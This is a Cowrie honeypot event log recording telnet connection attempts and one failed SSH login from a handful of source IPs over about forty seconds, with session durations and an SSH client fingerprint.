{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":52390,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ab80a049b48","protocol":"telnet","message":"New connection: 169.38.112.222:52390 (10.17.0.5:23) [session: 8ab80a049b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:24.062943Z"}
{"eventid":"cowrie.session.closed","duration":30.870309114456177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:24.306303Z","src_ip":"152.53.125.71","session":"f2b21ed6771d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32365918159485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:25.106849Z","src_ip":"169.38.112.222","session":"67548df8818e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.503607034683228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:26.135613Z","src_ip":"169.38.112.222","session":"c5f21c36b487","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58038353919983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:26.339476Z","src_ip":"169.38.112.222","session":"d2e313d867c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.391183376312256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:28.124197Z","src_ip":"169.38.112.222","session":"f118c2c489cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":52908,"dst_ip":"10.17.0.5","dst_port":23,"session":"1830c0189402","protocol":"telnet","message":"New connection: 169.38.112.222:52908 (10.17.0.5:23) [session: 1830c0189402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:28.158380Z"}
{"eventid":"cowrie.session.closed","duration":31.171052932739258,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:28.414833Z","src_ip":"152.53.125.71","session":"35f6ee544162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.928630828857422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:28.428583Z","src_ip":"152.53.125.71","session":"cc27ea8c7930","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":52916,"dst_ip":"10.17.0.5","dst_port":23,"session":"b39f0538ed23","protocol":"telnet","message":"New connection: 169.38.112.222:52916 (10.17.0.5:23) [session: b39f0538ed23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:28.573465Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":59298,"dst_ip":"10.17.0.5","dst_port":23,"session":"5735431cc8e0","protocol":"telnet","message":"New connection: 152.53.125.71:59298 (10.17.0.5:23) [session: 5735431cc8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:28.578652Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60950,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee5ed3e4ae5d","protocol":"telnet","message":"New connection: 159.203.13.64:60950 (10.17.0.5:23) [session: ee5ed3e4ae5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:28.681332Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":59306,"dst_ip":"10.17.0.5","dst_port":23,"session":"546c65fb1acc","protocol":"telnet","message":"New connection: 152.53.125.71:59306 (10.17.0.5:23) [session: 546c65fb1acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:29.995729Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":59312,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9f3ca8557b2","protocol":"telnet","message":"New connection: 152.53.125.71:59312 (10.17.0.5:23) [session: e9f3ca8557b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:30.318875Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":59316,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a9d159fe0ff","protocol":"telnet","message":"New connection: 152.53.125.71:59316 (10.17.0.5:23) [session: 6a9d159fe0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:30.562555Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":59320,"dst_ip":"10.17.0.5","dst_port":23,"session":"e924d6a045f8","protocol":"telnet","message":"New connection: 152.53.125.71:59320 (10.17.0.5:23) [session: e924d6a045f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:30.576877Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":52932,"dst_ip":"10.17.0.5","dst_port":23,"session":"14e75ffc2466","protocol":"telnet","message":"New connection: 169.38.112.222:52932 (10.17.0.5:23) [session: 14e75ffc2466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:31.438774Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":39456,"dst_ip":"10.17.0.5","dst_port":23,"session":"87348f359b39","protocol":"telnet","message":"New connection: 159.203.13.64:39456 (10.17.0.5:23) [session: 87348f359b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:31.844778Z"}
{"eventid":"cowrie.session.closed","duration":38.48210048675537,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:31.970483Z","src_ip":"159.203.13.64","session":"e5003dcdd2fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":52942,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae9c1af7004a","protocol":"telnet","message":"New connection: 169.38.112.222:52942 (10.17.0.5:23) [session: ae9c1af7004a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:32.615861Z"}
{"eventid":"cowrie.session.closed","duration":31.27817463874817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:33.402681Z","src_ip":"152.53.125.71","session":"579932bd6a84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.553492069244385,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:34.927490Z","src_ip":"159.203.13.64","session":"65501f81c5d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.044001579284668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:36.477070Z","src_ip":"152.53.125.71","session":"7704fb1eb230","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60936,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd7f18b299b1","protocol":"ssh","message":"New connection: 159.203.92.129:60936 (159.203.135.109:22) [session: fd7f18b299b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:38.268848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:38.273737Z","src_ip":"159.203.92.129","session":"fd7f18b299b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:38.278311Z","src_ip":"159.203.92.129","session":"fd7f18b299b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alumni","password":"alumni","message":"login attempt [alumni/alumni] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:38.292900Z","src_ip":"159.203.92.129","session":"fd7f18b299b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:39.301787Z","src_ip":"159.203.92.129","session":"fd7f18b299b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":37782,"dst_ip":"10.17.0.5","dst_port":23,"session":"45cb9d7fe26b","protocol":"telnet","message":"New connection: 152.53.125.71:37782 (10.17.0.5:23) [session: 45cb9d7fe26b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:39.752430Z"}
{"eventid":"cowrie.session.closed","duration":30.72023057937622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:40.133270Z","src_ip":"169.38.112.222","session":"68ee1fcc51a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.377988576889038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:40.263498Z","src_ip":"152.53.125.71","session":"22697c37485a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":60338,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0df5331b326","protocol":"telnet","message":"New connection: 169.38.112.222:60338 (10.17.0.5:23) [session: e0df5331b326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:41.403557Z"}
{"eventid":"cowrie.session.closed","duration":30.656410694122314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:42.297896Z","src_ip":"152.53.125.71","session":"86c84f96fe08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39485788345337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:43.176429Z","src_ip":"169.38.112.222","session":"b857bff5661c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":60346,"dst_ip":"10.17.0.5","dst_port":23,"session":"b688a54d3b38","protocol":"telnet","message":"New connection: 169.38.112.222:60346 (10.17.0.5:23) [session: b688a54d3b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:43.180635Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":60350,"dst_ip":"10.17.0.5","dst_port":23,"session":"22038afb2e25","protocol":"telnet","message":"New connection: 169.38.112.222:60350 (10.17.0.5:23) [session: 22038afb2e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:43.664554Z"}
{"eventid":"cowrie.session.closed","duration":30.5706524848938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:44.124451Z","src_ip":"169.38.112.222","session":"075bf22ed0c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.775333642959595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:44.128665Z","src_ip":"169.38.112.222","session":"07b1adfa7dde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":37792,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef4c971145c0","protocol":"telnet","message":"New connection: 152.53.125.71:37792 (10.17.0.5:23) [session: ef4c971145c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:44.622637Z"}
{"eventid":"cowrie.session.closed","duration":30.2943058013916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:45.120633Z","src_ip":"169.38.112.222","session":"83818e8d5cff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54410,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0e4c1fc2a0f","protocol":"telnet","message":"New connection: 169.38.112.222:54410 (10.17.0.5:23) [session: b0e4c1fc2a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:46.596130Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35516,"dst_ip":"10.17.0.5","dst_port":23,"session":"deba8e497027","protocol":"telnet","message":"New connection: 152.53.125.71:35516 (10.17.0.5:23) [session: deba8e497027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:46.725329Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54420,"dst_ip":"10.17.0.5","dst_port":23,"session":"b14119e1ab59","protocol":"telnet","message":"New connection: 169.38.112.222:54420 (10.17.0.5:23) [session: b14119e1ab59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:46.826112Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48724,"dst_ip":"10.17.0.5","dst_port":23,"session":"d411798c8058","protocol":"telnet","message":"New connection: 159.203.13.64:48724 (10.17.0.5:23) [session: d411798c8058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:47.513819Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54432,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d5c07a29ad8","protocol":"telnet","message":"New connection: 169.38.112.222:54432 (10.17.0.5:23) [session: 2d5c07a29ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:47.646484Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54446,"dst_ip":"10.17.0.5","dst_port":23,"session":"11cf94152a82","protocol":"telnet","message":"New connection: 169.38.112.222:54446 (10.17.0.5:23) [session: 11cf94152a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:47.666150Z"}
{"eventid":"cowrie.session.closed","duration":30.671350240707397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:48.165842Z","src_ip":"152.53.125.71","session":"c34f489a1f44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02216410636902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:48.398121Z","src_ip":"152.53.125.71","session":"577afb7a4f6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34960,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ff7624077a5","protocol":"telnet","message":"New connection: 162.253.42.116:34960 (10.17.0.5:23) [session: 9ff7624077a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:49.015979Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35532,"dst_ip":"10.17.0.5","dst_port":23,"session":"834a238625d8","protocol":"telnet","message":"New connection: 152.53.125.71:35532 (10.17.0.5:23) [session: 834a238625d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:49.380863Z"}
{"eventid":"cowrie.session.closed","duration":30.846061944961548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:50.435819Z","src_ip":"152.53.125.71","session":"9064b50a33c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54452,"dst_ip":"10.17.0.5","dst_port":23,"session":"a426f3c7c51b","protocol":"telnet","message":"New connection: 169.38.112.222:54452 (10.17.0.5:23) [session: a426f3c7c51b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:50.498680Z"}
{"eventid":"cowrie.session.closed","duration":30.612210512161255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:51.115909Z","src_ip":"169.38.112.222","session":"d96519e253d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54462,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddac48b5f60f","protocol":"telnet","message":"New connection: 169.38.112.222:54462 (10.17.0.5:23) [session: ddac48b5f60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:51.792200Z"}
{"eventid":"cowrie.session.closed","duration":30.38176417350769,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:52.177515Z","src_ip":"169.38.112.222","session":"1b6ca0788bd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54478,"dst_ip":"10.17.0.5","dst_port":23,"session":"033544824e76","protocol":"telnet","message":"New connection: 169.38.112.222:54478 (10.17.0.5:23) [session: 033544824e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:52.533163Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54494,"dst_ip":"10.17.0.5","dst_port":23,"session":"7281ddfeb040","protocol":"telnet","message":"New connection: 169.38.112.222:54494 (10.17.0.5:23) [session: 7281ddfeb040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:52.613524Z"}
{"eventid":"cowrie.session.closed","duration":30.68936276435852,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:53.080262Z","src_ip":"152.53.125.71","session":"92257d8aa7a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54496,"dst_ip":"10.17.0.5","dst_port":23,"session":"e148b69af390","protocol":"telnet","message":"New connection: 169.38.112.222:54496 (10.17.0.5:23) [session: e148b69af390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:53.699451Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35534,"dst_ip":"10.17.0.5","dst_port":23,"session":"02af1bc9729b","protocol":"telnet","message":"New connection: 152.53.125.71:35534 (10.17.0.5:23) [session: 02af1bc9729b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:53.951725Z"}
{"eventid":"cowrie.session.closed","duration":30.327632188796997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:54.131659Z","src_ip":"152.53.125.71","session":"fa68c41ff760","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.045188188552856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:54.331990Z","src_ip":"152.53.125.71","session":"7f37618faa14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":35538,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbd7ee9483a6","protocol":"telnet","message":"New connection: 152.53.125.71:35538 (10.17.0.5:23) [session: fbd7ee9483a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:54.348186Z"}
{"eventid":"cowrie.session.closed","duration":31.083619117736816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:55.146469Z","src_ip":"169.38.112.222","session":"8ab80a049b48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54502,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b20e36c22ca","protocol":"telnet","message":"New connection: 169.38.112.222:54502 (10.17.0.5:23) [session: 2b20e36c22ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:55.259841Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.38.112.222","src_port":54508,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dba76d08c38","protocol":"telnet","message":"New connection: 169.38.112.222:54508 (10.17.0.5:23) [session: 8dba76d08c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:55.996451Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33368,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae06a5373a83","protocol":"telnet","message":"New connection: 159.203.13.64:33368 (10.17.0.5:23) [session: ae06a5373a83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:56.400966Z"}
{"eventid":"cowrie.session.closed","duration":39.03397822380066,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:56.912059Z","src_ip":"159.203.13.64","session":"0a7d2e5dddc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.948751211166382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:59.107043Z","src_ip":"169.38.112.222","session":"1830c0189402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54632592201233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:59.119671Z","src_ip":"169.38.112.222","session":"b39f0538ed23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.629520654678345,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:13:59.208107Z","src_ip":"152.53.125.71","session":"5735431cc8e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.098254919052124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:01.093886Z","src_ip":"152.53.125.71","session":"546c65fb1acc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.632016897201538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:01.208783Z","src_ip":"152.53.125.71","session":"e924d6a045f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01280164718628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:01.331550Z","src_ip":"152.53.125.71","session":"e9f3ca8557b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81330132484436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:01.375738Z","src_ip":"152.53.125.71","session":"6a9d159fe0ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.714282274246216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:14:02.152947Z","src_ip":"169.38.112.222","session":"14e75ffc2466","protocol":"telnet"}
